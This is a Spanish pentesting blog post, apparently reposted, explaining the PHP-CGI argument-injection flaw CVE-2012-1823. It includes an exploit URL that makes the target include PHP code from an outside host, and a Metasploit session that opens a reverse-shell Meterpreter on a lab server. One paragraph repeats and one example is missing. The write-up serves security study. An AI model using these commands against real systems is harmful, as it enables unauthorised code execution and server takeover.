Entre el jueves y el viernes de la semana pasada (al menos yo me enteré ese día) saltó la noticia: Se había publicado una vulnerabilidad en PHP
que podría permitir la ejecución de código de forma remota
(CVE-2012-1823). La vulnerabilidad solo afecta a aquellos servidores en
los que PHP ha sido configurado como CGI, y no como módulo del servidor
web, que hasta donde yo sé la configuración más habitual. No obstante,
existen conocidos servicios que emplean PHP como un CGI, por lo que
aunque no sea la configuración más extendida, el impacto de la
vulnerabilidad podría resultar ser muy grave:
La vulnerabilidad, en su concepto, es muy similar a la vulnerabilidad en Java WebStart publicada por Rubén Santamarta el año pasado, y que ya comentamos aquí [1] [2].
El concepto es: El servicio coge una serie de parámetros, entre ellos
algunos (o todos) proporcionados por el usuario, y construye una llamada
a un binario del sistema. Si no existe un filtrado correcto de dichos
parámetros proporcionados por el usuario, podemos llamar al binario
añadiendo opciones que el servicio no espera. Por poner un ejemplo
(pseudo-código):
Binary = "PrintName.exe"
Args = "-n " + username
execute( Binary, Args )
Lo normal sería que el usuario introdujera su nombre pero ¿qué pasa si
introduce algo como "Jose -cmd id"? Pues bueno, suponiendo que ese
binario tiene una opción "-cmd" que le hace ejecutar el comando que se
le pase, el usuario estaría consiguiendo ejecutar el comando "id" para
ver los privilegios del usuario que ejecuta el servicio (en un Unix).
Esto es exactamente lo que ocurre en esta vulnerabilidad: Es posible
añadir parámetros en la llamada a php-cgi cuando es llamado para
interpretar una página, pero... ¿qué opciones nos da el binario php-cgi?
Podemos ver todas sus opciones en la web de PHP
(pone que es para el binario php, pero son las mismas opciones para
php-cgi, por lo que he podido ver). De entre ellas, hay un par que
resultan especialmente interesantes:
-d foo[=bar] Define INI entry foo with value 'bar'
-n No php.ini file will be used
Parece ser que podemos añadir parámetros como si estuvieran en php.ini pero para esa ejecución concreta de PHP. Eso es muuuy interesante. Si pegamos un vistazo a las opciones que permite php.ini, también vemos un par que pueden servirnos para nuestros oscuros propósitos:
-d foo[=bar] Define INI entry foo with value 'bar'
-n No php.ini file will be used
Parece ser que podemos añadir parámetros como si estuvieran en php.ini pero para esa ejecución concreta de PHP. Eso es muuuy interesante. Si pegamos un vistazo a las opciones que permite php.ini, también vemos un par que pueden servirnos para nuestros oscuros propósitos:
Nombre | Por defecto | Cambiable | Historial de cambios |
---|---|---|---|
allow_url_include | "0" | PHP_INI_ALL | PHP_INI_SYSTEM en PHP 5. Disponible desde PHP 5.2.0. |
auto_prepend_file | NULL | PHP_INI_PERDIR | PHP_INI_ALL en PHP <= 4.2.3. |
Bueno, pues parece que ya vamos viendo la luz al final del túnel: Si
activamos que permita incluir URLs y hacemos que incluya el código PHP
que queramos, ya podemos pasar a cosas más interesantes. Tendríamos
entonces que construir una URL tal que así:
http://php.pentester.es/?-d+allow_url_include=on+-d+auto_prepend_file=http://foo.pentester.es/exploit.txt
Esto debería funcionar y el código PHP en exploit.txt debería ser ejecutado por la web a la que estamos atacando, pero mirando los exploits publicados he visto algo que no conocía y que me ha gustado bastante, y es que podemos usar una URL especial php://input que lo que hace referencia es al contenido proporcionado por la entrada estándar, que en el caso de esta llamada será el contenido pasado por POST, así que podemos insertar código PHP sin necesidad de hacer referencia a ninguna URL externa, simplemente pasando el código por POST. La cosa quedaría así:
A partir de aquí ya solo tenemos que cambiar el contenido del parámetro
"cmd" que estamos pasando por POST y poner el comando que queramos, y
eso se ejecutará en el sistema con las restricciones que haya aplicado
el sysadmin al usuario que ejecuta el servicio.
Dando un paso más allá, además de ejecutarlo a mano, resulta que la gente de Metasploit ya ha desarrollado un módulo llamado "php_cgi_arg_injection", lo cual hace muchísimo más sencilla su explotación:
$ ./msfconsole
msf > use exploit/multi/http/php_cgi_arg_injection
msf exploit(php_cgi_arg_injection) > set PAYLOAD php/meterpreter/reverse_tcp
msf exploit(php_cgi_arg_injection) > set LHOST 172.16.146.1
msf exploit(php_cgi_arg_injection) > set RHOST php.pentester.es
msf exploit(php_cgi_arg_injection) > set TARGETURI /
msf exploit(php_cgi_arg_injection) > exploit
[*] Started reverse handler on 172.16.146.1:4444
[*] Sending stage (38791 bytes) to 172.16.146.128
[*] Meterpreter session 2 opened (172.16.146.1:4444 -> 172.16.146.128:41732) at Sat May 05 11:31:00 +0200 2012
meterpreter > sysinfo
OS : Linux bt 3.2.6 #1 SMP Fri Feb 17 10:40:05 EST 2012 i686
Computer : bt
Meterpreter : php/php
meterpreter > getuid
Server username: www-data (33)
meterpreter > portfwd --help
Usage: portfwd [-h] [add | delete | list | flush] [args]
OPTIONS:
-L
-h Help banner.
-l
-p
-r
No he jugado mucho con el Meterpreter PHP, pero imagino que tendrá una funcionalidad bastante reducida (igual que el de Java), pero por lo que he podido ver tiene la suficiente funcionalidad como para subir y bajar ficheros, redirigir puertos y algunas otras de esas funciones que tanto me gustan, y que nos van a acercar un poco más al PWN total del servidor.
FUENTE:
http://www.pentester.es/2012/05/explotando-php-cgi.html
No hay comentarios:
Publicar un comentario